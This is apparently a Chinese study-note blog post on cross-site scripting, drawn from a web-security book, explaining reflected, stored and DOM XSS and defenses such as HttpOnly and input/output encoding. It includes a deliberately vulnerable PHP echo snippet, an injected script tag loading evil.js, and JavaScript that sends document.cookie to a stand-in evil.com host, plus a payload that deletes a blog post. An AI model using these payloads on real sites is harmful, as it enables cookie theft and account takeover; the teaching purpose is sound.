目录

1.XSS简介

2.XSS攻击进阶

2.1初探XSS Payload

2.2 强大的XSS Payload

2.3 XSS防御


1.XSS简介

跨站脚本攻击(Cross Site Sript)缩写XSS,XSS攻击通常指黑客通过HTML注入篡改了网页,插入了恶意脚本,从而在用户浏览网页时,控制用户的浏览器的一种攻击方式。下面看个例子

<?php$input = $_GET["param"];
echo "<div>".$input."</div>";?>

正常情况下,用户输入数据提交param后,代码会将其输入的展示到页面中,但是由于没有对用户输入进行限制,如果用户输入以下代码:

http://www.a.com/test.php?param=<script>alert('弹窗')</script>

会发现浏览器执行了alert()命令弹窗了。

以上这种例子,就是XSS中的反射型XSS,另外还有存储型XSS和DOM型XSS。

反射型XSS:反射型XSS只是简单地把用户输入的数据反射给浏览器,也就是说往往需要诱使用户点击恶意连接后才可以攻击成功。反射型XSS也叫非持久性XSS。

存储型XSS:存储型 XSS会把用户数据的数据存储到服务器端,这种XSS具有很强的稳定性。比较常见的常见是黑客写下一篇将其发表后,所以访问改文章的用户都会在他们的浏览器中执行这段恶意代码。

DOM型XSS:DOM型XSS从效果上来说也是反射型XSS,通过修改页面的DOM节点形成的XSS称之为DOM型XSS。

2.XSS攻击进阶

2.1初探XSS Payload

XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本控制用户的浏览器,这些恶意脚本被称为XSS Payload,实际上就是JS脚本(或Flash或其他富文本客户端的脚本)。

一个常见的XSS Payload,就是通过读取浏览器的Cookie对象从而发起的Cookie劫持攻击,Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失就意味着用户的登录凭证丢失,也就代表着攻击者不需要输入密码就可以登录用户的账户。

如下所示,攻击者先加载一个远程脚本,真正的XSS Payload写在这个远程脚本中

http://www.a.com/test.htm?abc=''><script src=http://www.evil/com/evil.js ></script>#evil.js
var img = document.createElement("img");
img.src = "http://www.evil.com/log?"+escape(document.cookie);
document.body.appendChild(img);

evil.js这段代码在页面中插入了一张看不见的图片,同时将cocument.cookie对象作为参数发送到了远程服务器。

2.2 强大的XSS Payload

攻击者可以通过传递参数来达到攻击的目的,如下是正常的删除文章代码

http://blog.sohu.com/manage/entry.do?delete&id=156713012

假设该网站存在XSS漏洞,攻击者仅需要知道文章id就能够通过GET请求来删除这篇文章。攻击者可以插入一张图片来发起一个GET请求:

var img = document.createElement("img");
img.src = "http://blog.sohu.com/manage/entry.do?m=delete&id=156713012";
document.body.appendChild(img);

攻击者只需要让博客的作者执行这段JS代码(XSS Payload),就会将文章删除

2.3 XSS防御

2.3.1 httponly

httponly解决的是XSS后的cookie劫持攻击,一个cookie的使用过程如下:

  1. 浏览器向服务器发送请求,此时无cookie
  2. 服务器返回时发送Set-Cookie头,向客户浏览器写入Cookie
  3. 在该cookie到期前,浏览器访问该域下的所有页面,都将发送该cookie

HttpOnly是在Set-Cookie时标记的,如果设置了HttpOnly攻击者是无法读取到cookie的

2.3.2 输入检查

常见的Web漏洞如SQL注入,XSS等都需要使用特殊字符,这些字符正常用户是用不到的,所以可以进行必要的输入检查如' < ' , ' > ' , ' / ' 等

2.3.3输出检查

输出检查即对输出进行编码或转义来防御XSS攻击,如HTMLEncode,JavascriptEncode等编码函数

白帽子讲Web安全学习之XSS相关推荐

  1. 白帽子讲Web安全学习之浏览器

    目录 ​​​​​1.同源策略 2.浏览器沙箱 3. 恶意网址拦截 ​​​​​1.同源策略 同源策略是一种约定,它是浏览器最核心也是最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能会受到影响 ...

  2. 白帽子讲Web安全学习之CSRF

    目录 1.CSRF简介 2.CSRF进阶 2.1 浏览器Cookie策略和P3P的副作用 2.2 提交方式 2.3 CSRF防御 2.3.1 验证码 2.3.2 Referer Check 2.3.3 ...

  3. 《白帽子讲Web安全》学习笔记

    一.为何要了解Web安全 最近加入新公司后,公司的官网突然被Google标记为了不安全的诈骗网站,一时间我们信息技术部门成为了众矢之的,虽然老官网并不是我们开发的(因为开发老官网的前辈们全都跑路了). ...

  4. 在学习web安全的小白看过来,这本《白帽子讲web安全》强烈推荐,必读!(附PDF)

    Web是互联网的核心,是未来云计算和移动互联网的最佳载体,因此Web安全也是互联网公司安全业务中最重要的组成部分. 前排提醒:文末有pdf领取 下面来看看几种常见的web漏洞: 1.XSS跨站脚本攻击 ...

  5. 学习web安全,强烈推荐这本《白帽子讲web安全》!

    Web是互联网的核心,是未来云计算和移动互联网的最佳载体,因此Web安全也是互联网公司安全业务中最重要的组成部分. 下面来看看几种常见的web漏洞: 1.XSS跨站脚本攻击 XSS跨站脚本攻击,通常指 ...

  6. 《白帽子讲Web安全》读后感 —— 对道哥的致敬

    <白帽子讲Web安全>读后感 --Deep Blue (一个安全小兵的感受) 这是一篇作业:这是一篇读后感:这是一篇记录安全的感悟:这是一篇对道哥的敬仰:这是我安全启蒙的钥匙...... ...

  7. 白帽子讲web安全——认证与会话管理

    在看白帽子讲web安全,刚好看到认证与会话管理:也就是我们在平常渗透测试中遇到最多的登录页面,也即是用户名和密码认证方式,这是最常见的认证方式. 了解两个概念:认证和授权 1):认证的目的是为了认出用 ...

  8. 读《白帽子讲Web安全》之客户端脚本安全(一)

    2019独角兽企业重金招聘Python工程师标准>>> [第2章  浏览器安全] 1.同源策略(Same Origin Policy)是一种约定,它是浏览器最核心也最基本的安全功能. ...

  9. 读白帽子讲WEB安全,摘要

    读<白帽子讲WEB安全>摘要 文章目录 我的安全世界观 安全三要素-CIA 如何实施安全评估 白帽子兵法 客户端安全 浏览器安全 同源策略 浏览器沙箱 恶意网址拦截 高速发展的浏览器安全 ...

  10. 白帽子讲WEB安全读书笔记(慢慢更新)

    道哥写的白帽子讲WEB安全的读书笔记 文章目录 2020.3.23 ◆ 前言 ◆ 第一篇 世界观安全 1.1 Web安全简史 >> 1.1.1 中国黑客简史 >> 1.1.2 ...

最新文章

  1. 铁大Facebook——十天冲刺(5)
  2. 关于Unity中的Mesh Collider碰撞器
  3. workbench拓扑优化教程_优化技术在水泵水力设计的应用(上篇)
  4. python tkinter进度条_在python tkinter中Canvas实现进度条显示的方法
  5. zdc找不到xenapp服务器,Citrix XenApp 在检测过程使用时出错
  6. 深入解读Docker底层技术Cgroup
  7. 联合密度函数求期望_已知(X,Y)的联合概率密度,分别求X,Y的期望、方差
  8. android超级终端使用,android系统超级终端怎么用?
  9. [Proteus8]使用proteus8对单片机进行模拟仿真,记录方波图出现的过程
  10. 计算机软件工程国家标准汇编目录
  11. 小米手机控制PPT文档、查看进度的那些事
  12. python更改图片中物体的颜色_Python实现去除图片中指定颜色的像素功能示例
  13. java 获取某一天的起始时间
  14. 详解:大数据分析的学习之路
  15. 解决Windows XP 系统下,用户登录一直循环提示激活
  16. 中国自媒体行业竞争格局与运营盈利模式分析报告2022年
  17. 补充Live555推实时流
  18. 带你修改电脑用户名从中文到英文
  19. android实习报告,基于Android的毕业实习报告.doc
  20. 向日葵显示disconnect,连接不上

热门文章

  1. 使Window注册表更改立刻生效的命令行命令
  2. ZZULIOJ 1047: 对数表,Java
  3. C0型单元刚度矩阵的性质
  4. Power Apps一个实际案例 -1 - 需求分析
  5. 中国各省份边界json文件
  6. 百度飞桨螺旋桨赋能生物医药,推动AI技术在药物研发领域的探索应用
  7. 一款局域网的聊天工具
  8. My Firest FireMonkey App
  9. 【Excel,遗忘密码后如何撤销工作表保护密码】
  10. Algorithm Review 5 图论